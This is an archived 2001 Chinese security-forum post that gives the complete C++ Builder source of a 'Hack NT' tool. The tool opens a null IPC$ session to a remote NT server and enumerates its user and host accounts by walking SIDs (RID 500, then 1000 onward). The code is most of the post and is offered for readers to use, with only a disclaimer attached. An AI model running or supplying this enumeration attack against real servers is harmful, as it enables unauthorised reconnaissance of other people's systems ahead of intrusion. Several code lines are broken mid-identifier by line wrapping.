这是在 20CN网络安全小组第一代论坛 的论坛 编程破解 中的主题 获取远程NT Server用户列表


要查看这个主题,请使用这个 URL:
http://www.20cn.net/cgi-bin/ubb/ultimatebb.cgi?ubb=get_topic;f=5;t=000034

病毒 发表于 :
 
组织推荐
第 66 篇
获取远程NT Server用户列表 (原码)
获取远程NT Server用户列表

作者: 病毒 发表于 绿色兵团

此程序是当时得知有此漏洞后,找到相关资料现写的
虽然实现了功能但还很不完善。时间长了也就懒的改了,
为了让大家深入了解,特此给出完整程序

//---------------------------------------------------------------------------

#include <vcl.h>
#include <stdio.h>
#pragma hdrstop

#include "NtSafe.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;

//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button3Click(TObject *Sender)
{
Application->MessageBox("Hack NT 说明:\n\n\n可利用本程序获取,远程NT服务器\n\n
\n上所有用户及计算机,请合法使用\n\n\n滥用者一切后果自负,与本人无关\n\n\n\n作者:贾
佳\n\ne-mail:jiasys@21cn.com","本程序只能在NT上使用",MB_OK);
}
//---------------------------------------------------------------------------


void __fastcall TForm1::FormShow(TObject *Sender)
{
OSVERSIONINFO osi;

osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
//判断操作系统是否为NT
if(GetVersionEx(&osi))
{
if(osi.dwPlatformId!=VER_PLATFORM_WIN32_NT)
{
Button1->Enabled=false;
Application->MessageBox("你的操作系统不是NT,此程序无法正常运行","请在NT
主机上运行",MB_OK|MB_ICONWARNING);
}
else
Button1->Enabled=true;
}
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)
{

SID_NAME_USE peUse;
PSID_IDENTIFIER_AUTHORITY SidIdentify;
NETRESOURCE netr;

TCHAR netBuf[MAX_PATH];
TCHAR netNB[MAX_PATH];
DWORD dwResult;
PSID Sid;
PSID newSid;
DWORD cbSid;
TCHAR DomainName[MAX_PATH];
DWORD cbDomainName;
TCHAR AccountBuff[MAX_PATH];
DWORD cbAccountBuff;
BYTE SidSubCount;
BYTE StoreCount;
int i,j;
DWORD storeSIDsub[8];
DWORD tempPDWORD;

Form1->Button1->Enabled=false;
ListBox1->Items->Clear();
cbDomainName=255;
cbSid=255;
sprintf(netBuf,"\\\\%s\\ipc$",Form1->Edit1->Text.c_str());
sprintf(netNB,"\\\\%s",Form1->Edit1->Text.c_str());
netr.dwScope=RESOURCE_GLOBALNET;
netr.dwType=RESOURCETYPE_ANY;
netr.lpLocalName="";
netr.lpRemoteName=netBuf;
netr.lpProvider=NULL;

//首先用WNetAddConnection2以空(IPC$)方式连接服务器

dwResult=WNetAddConnection2(&netr,"","",NULL);
if(dwResult==NO_ERROR)
{

//然后以LookupAccountName用一个系统和帐户名称作为输入,得到域名

if(LookupAccountName(netNB,"Guest",Sid,&cbSid,DomainName,&cbDomainName,&peU
se))
{
sprintf(netBuf,"域名: %s",DomainName);
Form1->ListBox1->Items->Add(String(netBuf));

//接着用GetSidIdentifierAuthority返回一个指定的安全标识符结构

SidIdentify=GetSidIdentifierAuthority(Sid);

//再用GetSidSubAuthorityCount返回指定安全标识符结构中指定的子权限的地址

SidSubCount=*GetSidSubAuthorityCount(Sid);
StoreCount=SidSubCount;

for(i=0;i<=StoreCount-1;i++)
{
//接着用GetSidSubAuthority函数返回数组地

tempPDWORD=*GetSidSubAuthority(Sid,i);
storeSIDsub[i]=tempPDWORD;
}
cbDomainName=255;
cbAccountBuff=255;
storeSIDsub[StoreCount-1]=500;

//再用AllocateAndInitializeSid将八个子权限分配初始化这个安全标识符

if(AllocateAndInitializeSid(SidIdentify,SidSubCount,storeSIDsub[0],stor
eSIDsub[1],
storeSIDsub[2],storeSIDsub[3],storeSIDsub[4
],storeSIDsub[5],
storeSIDsub[6],storeSIDsub[7],&newSid))
{

//最后用LookupAccountSid接受一个安全标识符作为输入即可得到用户名。

if(LookupAccountSid(netNB,newSid,AccountBuff,&cbAccountBuff,DomainNa
me,&cbDomainName,&peUse))
{
Form1->ListBox1->Items->Add("用户名称: "+String(AccountBuff));
}

else
exit(1);
FreeSid(newSid);

//以下枚举过程
j=1;
i=1000;
while(j<=30)
{
cbDomainName=255;
cbAccountBuff=255;
storeSIDsub[StoreCount-1]=i;
//初始化,同上
AllocateAndInitializeSid(SidIdentify,SidSubCount,storeSIDsub[0],st
oreSIDsub[1],
storeSIDsub[2],storeSIDsub[3],storeSIDsub[4
],storeSIDsub[5],
storeSIDsub[6],storeSIDsub[7],&newSid);

//获取用户名,同上
if(LookupAccountSid(netNB,newSid,AccountBuff,&cbAccountBuff,Domain
Name,&cbDomainName,&peUse))
{
if(peUse==SidTypeInvalid) j=j+1;
else if(peUse!=SidTypeDeletedAccount)
{
j=-1;
int le=lstrlen(AccountBuff);
if(AccountBuff[le-1]=='$')
Form1->ListBox1->Items->Add("主机名称: "+String(AccountB
uff));
else
Form1->ListBox1->Items->Add("用户名称: "+String(AccountB
uff));
}
}
else
j=j+1;
Application->ProcessMessages();
i=i+1;
FreeSid(newSid);
}
}
}
else Application->MessageBox("请重新连接","无法获得SID标识",MB_OK|MB_ICONW
ARNING);
}
else
Application->MessageBox("请先确认IP地址是否正确,是否为NT主机且绑定了NETBIO
S服务","无法连接主机",MB_OK|MB_ICONWARNING);
WNetCancelConnection2(netBuf,0,true);
Form1->Button1->Enabled=true;

}
//---------------------------------------------------------------------------



本文添加: goodwell
添加时间: 2001-3-06 更多...


 






Powered by Infopop Corporation
UBB.classic™ 6.5.0
NetDemon修改版 1.5.0, 20CN网络安全小组 版权所有。